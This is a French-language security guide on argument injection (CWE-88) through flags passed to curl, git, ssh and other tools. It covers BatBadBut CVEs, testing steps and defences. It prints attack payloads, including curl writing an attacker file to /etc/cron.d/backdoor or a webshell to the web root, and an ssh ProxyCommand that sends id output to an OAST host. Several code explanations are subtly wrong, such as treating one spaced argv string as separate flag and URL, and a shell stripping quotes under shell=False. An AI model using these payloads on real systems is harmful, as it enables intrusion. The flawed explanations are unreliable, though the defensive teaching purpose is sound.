Injecte des arguments supplémentaires dans un appel de commande existant, en abusant de l'analyse des flags d'outils comme curl, wget ou git plutôt qu'en enchaînant de nouvelles commandes.
TL;DR
shell=False ne protège pas.bat invoquent implicitement cmd.exe--output), git (--upload-pack), ssh (-oProxyCommand), psql (-o '|cmd')-- + validation par liste d'autorisation sur tout argument transmis à des binaires externesL'injection d'arguments (CWE-88 : Neutralisation incorrecte des délimiteurs d'arguments dans une commande) est une sous-classe d'injection de commandes qui ne nécessite aucun shell. Au lieu d'injecter des métacaractères que le shell interprète comme séparateurs de commandes, l'attaquant injecte des flags ou options de ligne de commande que le binaire cible lui-même analyse et sur lesquels il agit.
Cette distinction est critique : les développeurs considèrent souvent que les appels subprocess avec shell=False et les API en forme de tableau sont sûrs, et ils le sont — contre CWE-78 (injection de commandes OS). Mais CWE-88 contourne entièrement cette défense. Quand l'entrée contrôlée par l'utilisateur est placée comme argument d'un binaire externe comme curl, git, ssh, ou psql, l'attaquant peut injecter des flags qui changent le comportement du binaire d'une façon que le développeur n'avait jamais prévue.
Considérer subprocess.run(["curl", user_url]). Avec shell=False, aucun shell n'est invoqué et aucun métacaractère n'est interprété. Mais si user_url est "-o /etc/cron.d/backdoor http://attacker.com/payload", curl interprète --output et écrit le contenu de l'attaquant dans /etc/cron.d/backdoor. Pas de point-virgule, pas de pipe, pas de shell — juste un flag que curl a été conçu pour honorer.
L'injection d'arguments est gravement sous-détectée dans les tests de sécurité car la plupart des tests d'injection recherchent des payloads basés sur des métacaractères. Un paramètre qui rejette correctement ;, |, et $() peut être totalement exploitable via un - initial.
La vulnérabilité existe à la frontière entre le code applicatif et l'exécution de binaires externes. Quand le code applicatif transmet l'entrée utilisateur comme l'un des arguments dans un appel subprocess en forme de tableau, l'analyseur d'arguments du binaire cible reçoit cette entrée et l'interprète selon la propre logique d'analyse d'options du binaire.
# CODE APPLICATIF — le développeur croit que c'est sûr
import subprocess
def clone_repository(user_repo):
subprocess.run(["git", "clone", user_repo]) # shell=False — sûr contre CWE-78# L'ATTAQUANT FOURNIT :
user_repo = "--upload-pack=touch /tmp/pwned http://legitimate-looking-url.com"
# APPEL RÉSULTANT :
git clone --upload-pack=touch /tmp/pwned http://legitimate-looking-url.com
# git analyse --upload-pack comme flag légitime et exécute :
touch /tmp/pwnedLe shell ne s'exécute jamais. git lui-même reçoit --upload-pack=touch /tmp/pwned comme argument, le reconnaît comme l'option --upload-pack (qui spécifie la commande à exécuter sur l'hôte distant), et exécute touch /tmp/pwned. C'est le comportement prévu du binaire — utilisé contre l'application.
Basé sur le projet argument-injection-vectors de Sonar :
| Binaire | Flag injecté | Effet | Exemple de payload |
|---|---|---|---|
curl | --output (-o) | Écrire le body de réponse vers un chemin arbitraire | -o /etc/cron.d/backdoor http://attacker.com/payload |
curl | --config (-K) | Lire les options curl depuis un fichier | -K /proc/self/environ (fuite des variables d'env) |
git | --upload-pack | Exécuter une commande lors du clone | --upload-pack=id>/tmp/pwned http://x.com/repo |
git | --exec-path | Remplacer le chemin d'exécution git | --exec-path=/tmp/evil-git-scripts |
ssh | -oProxyCommand | Exécuter une commande comme proxy SSH | -oProxyCommand=id>/tmp/pwned host |
ssh | -oUserKnownHostsFile | Écrire vers un fichier de clés d'hôtes arbitraire | -oUserKnownHostsFile=/etc/cron.d/backdoor |
psql | -o | Écrire la sortie vers un fichier ou une commande | `-o ' |
zip | --unzip-command | Remplacer la commande de décompression | --unzip-command='sh -c id>/tmp/pwned' |
Chrome | --gpu-launcher | Exécuter une commande arbitraire | --gpu-launcher=id>/tmp/pwned |
rsync | -e | Spécifier une commande shell distante | -e "ssh user_controlled_cmd" |
# VULNÉRABLE — l'utilisateur contrôle l'argument hostname
import subprocess
def test_ssh_connectivity(host):
subprocess.run(["ssh", "-o", "ConnectTimeout=5", host, "echo test"])
# shell=False — pas d'injection shell (CWE-78)
# MAIS : user_host = "-oProxyCommand=id>/tmp/pwned target" est toujours exploitable
# Payload attaquant :
# host = "-oProxyCommand=curl http://attacker.oast.pro/$(id|base64 -w0) target.com"
# SSH exécute : curl http://attacker.oast.pro/[sortie id en base64] target.com# VULNÉRABLE — URL utilisateur transmise comme argument à curl
import subprocess
def fetch_resource(url):
subprocess.run(["curl", "-s", "--max-time", "10", url])
# Payload attaquant :
# url = "-o /var/www/html/shell.php http://attacker.com/webshell.php"
# curl écrit le webshell PHP vers la racine web — aucun métacaractère utilisé# VULNÉRABLE — l'utilisateur fournit l'URL du dépôt
import subprocess
def clone_repo(user_repo):
subprocess.run(["git", "clone", "--depth", "1", user_repo, "/tmp/cloned"])
# Payload attaquant :
# user_repo = "--upload-pack=bash -c 'id>/tmp/pwned' http://legitimate.com/repo"
# git exécute : bash -c 'id>/tmp/pwned' comme commande upload-packBatBadBut est la divulgation d'injection d'arguments la plus significative de ces dernières années. Divulguée en avril 2024, elle a révélé que l'exécution de fichiers .bat ou .cmd sur Windows invoque implicitement cmd.exe — indépendamment du fait que l'application utilisait des API tableau avec shell=False.
cmd.exe a des règles de métacaractères archaïques qui diffèrent fondamentalement des shells POSIX : ^, &, |, <, >, (, ), %, et " ont tous une signification spéciale, et l'encadrement par des guillemets doubles ne les neutralise pas entièrement. L'échappement d'arguments standard conçu pour POSIX est insuffisant.
BatBadBut a affecté des écosystèmes entiers de langages sur Windows simultanément :
La cause commune : tous supposaient que l'échappement d'arguments standard était suffisant pour l'exécution de fichiers batch Windows.
use std::process::Command;
// VULNÉRABLE — toutes versions Rust < 1.77.2 sur Windows
fn run_batch(user_input: &str) -> std::io::Result<()> {
Command::new("target.bat")
.arg(user_input) // Échappement insuffisant pour cmd.exe
.spawn()?;
Ok(())
}
// Entrée attaquant : "\"&whoami" → cmd.exe sort du contexte de guillemets// VULNÉRABLE (PHP < 8.3.5 sur Windows) — forme tableau, aucun shell invoqué
$result = proc_open(['script.bat', $user_input], $descriptors, $pipes);
// cmd.exe est invoqué implicitement pour les fichiers .bat
// user_input contenant " & whoami sort du contexte d'argument dans cmd.exe
// CORRECTIF CONTOURNÉ (PHP < 8.3.7) — CVE-2024-5585
// Un espace en fin de chaîne après .bat déclenche un chemin de code cmd.exe différent
$result = proc_open(['script.bat ', $user_input], ...);
// L'espace après .bat contourne le correctif de CVE-2024-1874// VULNÉRABLE — Node.js < 21.7.2 sur Windows
const { spawnSync } = require('child_process');
spawnSync('script.bat', [userInput], { shell: false });
// shell: false est censé protéger contre l'injection shell
// Mais les fichiers .bat invoquent cmd.exe implicitement sur Windows
// userInput contenant des métacaractères cmd.exe peut toujours injecterRésumé des langages affectés :
| Langage | CVE | CVSS | Version corrigée |
|---|---|---|---|
| Rust | CVE-2024-24576 | 10.0 | 1.77.2 |
| PHP | CVE-2024-1874 | 9.8 | 8.3.5 |
| PHP (contournement) | CVE-2024-5585 | — | 8.3.7 |
| Node.js | CVE-2024-27980 | High | 18.20.2 / 20.12.2 / 21.7.2 |
| Haskell | HSEC-2024-0003 | — | process >= 1.6.19.0 |
| yt-dlp | CVE-2024-22423 | — | 2024.04.09 |
CVE-2024-39930 — Serveur SSH Gogs (CVSS 9.9)
Gogs est un service Git auto-hébergé populaire basé sur Go. CVE-2024-39930 est une vulnérabilité d'injection d'arguments pure (CWE-88) dans le composant serveur SSH. Un attaquant ayant accès SSH à une instance Gogs peut injecter des arguments supplémentaires dans la commande OS sous-jacente exécutée par le démon SSH, obtenant une exécution de code arbitraire. Aucun métacaractère shell n'est nécessaire — les valeurs injectées sont analysées comme options de ligne de commande par le binaire cible. CVSS 9.9 — le score le plus élevé possible en-dessous de CVSS 10.0.
HackerOne #212696 — RCE via injection d'arguments CLI chez Imgur (~3 000 $)
Injection d'arguments classique dans le pipeline de traitement d'images d'Imgur. L'application transmettait des arguments contrôlés par l'attaquant à un binaire externe de traitement d'images. En injectant des flags de ligne de commande supplémentaires — aucun métacaractère shell requis — l'attaquant a amené le binaire à exécuter du code contrôlé par l'attaquant. C'est l'exemple HackerOne canonique de CWE-88 et est cité dans le guide de défense contre l'injection de commandes OS d'OWASP comme étude de cas d'injection d'arguments.
HackerOne #2293731 — Injection SSH ProxyCommand (CVE-2023-6004, Internet Bug Bounty)
Une application transmettait des noms d'hôte contrôlés par l'utilisateur à des appels subprocess SSH sans validation. Un attaquant a fourni un nom d'hôte comme -oProxyCommand=id>/tmp/pwned target.com. SSH a analysé -oProxyCommand=id>/tmp/pwned comme une directive de configuration et a exécuté id>/tmp/pwned avant d'établir la connexion. Aucune invocation de shell n'a eu lieu — c'est du CWE-88 via l'analyse des arguments SSH. Le programme Internet Bug Bounty a payé pour la divulgation.
CVE-2016-3714 — ImageMagick (ImageTragick, CVSS 8.4)
Le fichier delegates.xml d'ImageMagick traitait les noms de fichiers image fournis par l'utilisateur via des appels shell system() avec le spécificateur %M non échappé. Un fichier MVG malveillant contenant fill 'url(https://example.com/image.jpg"|id > /tmp/pwned")' déclenchait l'exécution de commandes OS. Bien que principalement une injection shell, l'argument de nom de fichier transmis à la commande déléguée illustre également les principes d'injection d'arguments — le nom de fichier lui-même était weaponisé comme argument du délégué.
# VULNÉRABLE — transmet le nom de fichier utilisateur à ImageMagick sans validation
from subprocess import call
def convert_image(filename):
call(["convert", f"/uploads/{filename}", "/thumbnails/output.png"])
# filename = "image.jpg;id>/tmp/pwned" → injection shell via argument
# SÛR — valider le nom de fichier avant la conversion
import re
def convert_image_safe(filename):
if not re.fullmatch(r'^[a-zA-Z0-9_\-]{1,64}\.(jpg|png|gif|webp)$', filename):
raise ValueError("Nom de fichier invalide")
call(["convert", f"/uploads/{filename}", "/thumbnails/output.png"])
# AUSSI : ajouter à ImageMagick policy.xml :
# <policy domain="coder" rights="none" pattern="MVG" />
# <policy domain="coder" rights="none" pattern="HTTPS" />Identifier tous les paramètres susceptibles d'être transmis comme arguments à des appels de binaires externes — en particulier les champs URL, les entrées de nom d'hôte, les paramètres de nom de fichier, et tout champ libellé format, type, output, path, ou source.
Soumettre des valeurs de type flag commençant par - :
-o /tmp/test.txt http://127.0.0.1
--output=/tmp/test.txt
-oProxyCommand=id>/tmp/test
--upload-pack=id>/tmp/testVérifier la création de fichier au chemin cible (confirmation par fichier) :
# Si vous avez accès en lecture :
curl http://target.com/tmp/test.txtUtiliser OOB pour la confirmation à l'aveugle :
--upload-pack=curl http://OAST_DOMAIN/$(id|base64 -w0)
-oProxyCommand=curl http://OAST_DOMAIN/$(id|base64 -w0) host
-o /dev/null --dns-servers OAST_DOMAINPour les cibles Windows, tester les patterns BatBadBut avec des métacaractères cmd.exe dans les arguments transmis à l'exécution de fichiers .bat :
"\"&whoami
\"&dir C:\Examiner le code source pour tous les appels subprocess — identifier où l'entrée utilisateur apparaît comme élément du tableau d'arguments plutôt que comme constante.
Les scanners d'injection standard (Commix, Burp Scanner) ne testent pas l'injection d'arguments par défaut. La revue manuelle est essentielle.
Semgrep peut signaler les patterns où l'entrée utilisateur est placée dans les tableaux d'arguments :
rules:
- id: potential-argument-injection
pattern: subprocess.run([..., $USER_INPUT, ...])
message: "Entrée utilisateur dans le tableau d'arguments subprocess — vérifier l'injection d'arguments (CWE-88)"
languages: [python]
severity: WARNINGBreachVex détecte l'injection d'arguments en sondant les paramètres atteignant des appels de binaires externes avec des valeurs de type flag (-o, --upload-pack, -oProxyCommand) et en confirmant lorsque l'option injectée modifie le comportement de la commande.
--Pour les programmes conformes POSIX, insérer -- avant les arguments contrôlés par l'utilisateur pour signaler la fin des options :
# PLUS SÛR — -- prévient l'injection d'options
subprocess.run(["git", "clone", "--", user_repo])
subprocess.run(["curl", "-s", "--max-time", "10", "--", user_url])
# Note : tous les programmes n'honorent pas -- correctement
# -- doit être combiné avec une validation par liste d'autorisation pour une protection complèteimport re, subprocess
# SÛR — liste d'autorisation URL stricte prévient -o et d'autres injections de flag
def fetch_url(url):
# Autoriser uniquement les URLs http/https avec des noms d'hôte valides — pas de tirets initiaux
if not re.fullmatch(r'^https?://[a-zA-Z0-9][a-zA-Z0-9\-\.]{0,253}(/[^\s]*)?$', url):
raise ValueError("Format d'URL invalide")
subprocess.run(["curl", "-s", "--max-time", "10", "--", url])
# SÛR — liste d'autorisation de sources de dépôts permises
ALLOWED_HOSTS = {"github.com", "gitlab.com", "bitbucket.org"}
def clone_repo(url):
from urllib.parse import urlparse
parsed = urlparse(url)
if parsed.scheme not in ("https", "http") or parsed.netloc not in ALLOWED_HOSTS:
raise ValueError("Hôte de dépôt non permis")
subprocess.run(["git", "clone", "--depth", "1", "--", url, "/tmp/cloned"])const { exec, execFile, spawn } = require('child_process');
// exec() — invoque le shell, vulnérable à CWE-78
exec(`curl ${userUrl}`, callback); // DANGEREUX — métacaractères interprétés
// execFile() — pas de shell, mais CWE-88 s'applique toujours
execFile('curl', [userUrl], callback);
// Si userUrl = '-o /etc/cron.d/backdoor http://attacker.com/payload'
// execFile transmet cela à curl sans interprétation shell
// curl honore toujours le flag --output → injection d'arguments réussit
// SÛR — valider l'URL avant de passer à execFile
const { URL } = require('url');
function fetchSafe(userUrl, callback) {
let parsed;
try {
parsed = new URL(userUrl);
} catch {
return callback(new Error("URL invalide"));
}
// Liste d'autorisation d'hôtes permis
const ALLOWED_HOSTS = new Set(['api.internal.com', 'cdn.company.com']);
if (!ALLOWED_HOSTS.has(parsed.hostname)) {
return callback(new Error("Hôte non permis"));
}
execFile('curl', ['-s', '--max-time', '10', '--', userUrl], callback);
}import subprocess, re
from urllib.parse import urlparse
# shlex.quote() NE PRÉVIENT PAS l'injection d'arguments
# Il prévient les métacaractères shell dans un contexte shell=True
# Il n'a AUCUN effet sur CWE-88 car il n'y a pas de shell pour citer
import shlex
safe = shlex.quote(user_url)
subprocess.run(["curl", safe]) # CWE-78 protégé ; CWE-88 NON protégé
# safe = "'-o /etc/cron.d/backdoor http://attacker.com/payload'"
# curl reçoit : -o /etc/cron.d/backdoor http://attacker.com/payload (après que le shell enlève les guillemets)
# APPROCHE CORRECTE — validation par liste d'autorisation + terminateur --
def fetch_resource(user_url):
try:
parsed = urlparse(user_url)
except Exception:
raise ValueError("URL invalide")
if parsed.scheme not in ('http', 'https'):
raise ValueError("Seuls http/https sont autorisés")
if not re.fullmatch(r'^[a-zA-Z0-9][a-zA-Z0-9\-\.]{0,253}$', parsed.netloc):
raise ValueError("Nom d'hôte invalide")
subprocess.run(
["curl", "-s", "--max-time", "10", "--", user_url],
capture_output=True,
timeout=15
)La défense la plus robuste est d'éliminer entièrement l'appel au binaire externe :
# Au lieu de : subprocess.run(["curl", user_url])
import requests
response = requests.get(user_url, timeout=10) # Pas de subprocess, pas d'injection d'arguments
# Au lieu de : subprocess.run(["git", "clone", user_repo])
# Utiliser GitPython :
import git
git.Repo.clone_from(user_repo, "/tmp/cloned") # Pas de subprocessshlex.quote() (Python) et escapeshellarg() (PHP) protègent contre l'injection de métacaractères shell (CWE-78) uniquement. Ils fournissent zéro protection contre l'injection d'arguments (CWE-88). Un développeur qui voit subprocess.run(["curl", shlex.quote(user_url)]) et conclut que le code est sûr a un faux sentiment de sécurité — le binaire reçoit et agit toujours sur les arguments de type flag.
L'injection de commandes OS (CWE-78) utilise des métacaractères shell (;, |, &&, $()) pour enchaîner de nouvelles commandes. L'injection d'arguments (CWE-88) injecte des flags de ligne de commande — aucun métacaractère shell n'est requis. Dans CWE-78, le shell analyse le texte injecté. Dans CWE-88, le binaire cible lui-même interprète les options injectées. Les API subprocess en forme de tableau avec shell=False préviennent CWE-78 mais ne préviennent pas CWE-88 quand l'entrée utilisateur peut commencer par un tiret.
shell=False signifie que le shell OS n'est pas invoqué — les arguments sont transmis directement au binaire via execve(). Mais le binaire lui-même analyse ses propres arguments de ligne de commande en utilisant getopt() ou similaire. Si l'entrée contrôlée par l'utilisateur est placée comme argument, le binaire l'analyse et peut honorer --output=/etc/cron.d/backdoor comme un flag légitime. Le shell ne le voit jamais, mais le binaire agit dessus.
BatBadBut (avril 2024) est une divulgation à l'échelle de l'écosystème affectant Rust (CVE-2024-24576, CVSS 10.0), PHP (CVE-2024-1874), Node.js (CVE-2024-27980), et Haskell sur Windows. La cause profonde : l'exécution de fichiers .bat/.cmd sur Windows invoque implicitement cmd.exe, qui a des règles de métacaractères complexes (^, &, %, " sont spéciaux) différentes des shells POSIX. L'échappement d'arguments standard est insuffisant, et même les API tableau avec shell=false sont vulnérables car les fichiers .bat déclenchent cmd.exe quel que soit le paramètre.
Le séparateur -- signale aux programmes conformes POSIX que tous les tokens suivants sont des arguments positionnels, pas des options. subprocess.run(['git', 'clone', '--', user_repo]) prévient l'injection --upload-pack. Cependant, tous les programmes n'honorent pas -- : certains l'analysent de manière incohérente, d'autres réanalysent l'argument positionnel lui-même comme une option, et les programmes Windows ne sont pas tenus de suivre les conventions POSIX. -- est un contrôle nécessaire mais doit être combiné avec une validation par liste d'autorisation.
CVE-2024-39930 (CVSS 9.9) est une injection d'arguments dans le composant serveur SSH de Gogs. Un attaquant ayant accès SSH peut injecter des arguments supplémentaires dans la commande OS sous-jacente exécutée par le serveur SSH, obtenant une exécution de code arbitraire sans aucun métacaractère shell. C'est du CWE-88 pur — la valeur injectée est analysée comme options de ligne de commande par le binaire cible, pas par un shell.
Le projet argument-injection-vectors de Sonar documente : curl (--output pour les écritures de fichiers, --config pour des options curl arbitraires), git (--upload-pack pour RCE, --exec-path), ssh (-oProxyCommand pour l'exécution), psql (-o '|cmd' pour la sortie vers une commande), zip (--unzip-command), Chrome/Chromium (--gpu-launcher). Tout outil qui accepte des options commençant par - est candidat quand l'entrée utilisateur est transmise comme argument.
Le client SSH supporte -oProxyCommand=CMD qui exécute CMD et utilise son stdin/stdout comme transport SSH. Si une application transmet des noms d'hôte fournis par l'utilisateur à ssh subprocess.run(['ssh', user_host]) sans validation, un attaquant fournit user_host = '-oProxyCommand=id>/tmp/pwned target-host'. SSH analyse -oProxyCommand=id>/tmp/pwned comme une option de configuration et exécute id>/tmp/pwned avant de se connecter.
Le flag --output (-o) de curl écrit le body de la réponse vers un chemin de fichier. Si l'entrée utilisateur est transmise comme argument URL à curl, une valeur comme -o /etc/cron.d/backdoor http://attacker.com/payload amène curl à récupérer le payload de l'attaquant et à l'écrire dans /etc/cron.d/backdoor. Avec les privilèges root, cela installe une tâche cron. Le projet de recherche Sonar documente cela comme l'un des vecteurs d'injection d'arguments à fort impact.
CVE-2016-3714 (ImageTragick) est hybride : le traitement des délégués MVG/SVG utilisait des appels shell() avec le spécificateur de nom de fichier %M non échappé, permettant l'injection de commandes shell dans le nom de fichier. Il s'agit principalement de CWE-78 dans son mécanisme mais démontre également des concepts d'injection d'arguments car l'utilisateur contrôle l'argument de nom de fichier transmis à la commande déléguée. Le correctif policy.xml qui refuse les codeurs MVG/SVG est l'atténuation standard.
Le projet argument-injection-vectors de SonarSource (github.com/SonarSource/argument-injection-vectors) est un catalogue curé de vecteurs d'injection pour les outils CLI courants. Il documente les flags spécifiques qui peuvent être injectés, les prérequis, et l'impact pour curl, git, ssh, psql, zip, Chrome, et d'autres. C'est la référence faisant autorité pour les chercheurs en sécurité auditant du code qui invoque des binaires externes.
Soumettre des valeurs commençant par - ou -- dans tout paramètre susceptible d'atteindre un appel de binaire externe. Exemples : --output=/tmp/test (curl/wget), --upload-pack=id>/tmp/test (git), -oProxyCommand=id>/tmp/test (ssh). Vérifier la création de fichier au chemin cible. Pour l'injection à l'aveugle, utiliser OOB : --config /dev/stdin (curl lit la config depuis stdin et peut être abusé), ou injecter --dns-servers=OAST_DOMAIN pour la confirmation OOB dans les outils qui supportent DNS.
Non. execFile n'invoque pas de shell (prévenant CWE-78), mais ne prévient pas CWE-88. Si l'entrée utilisateur est transmise directement comme élément du tableau d'args — execFile('curl', [userUrl]) — et userUrl = '-o /etc/cron.d/backdoor http://attacker.com/payload', curl reçoit le flag et agit dessus. execFile est sûr contre l'injection shell mais nécessite une validation supplémentaire par liste d'autorisation pour prévenir l'injection d'arguments.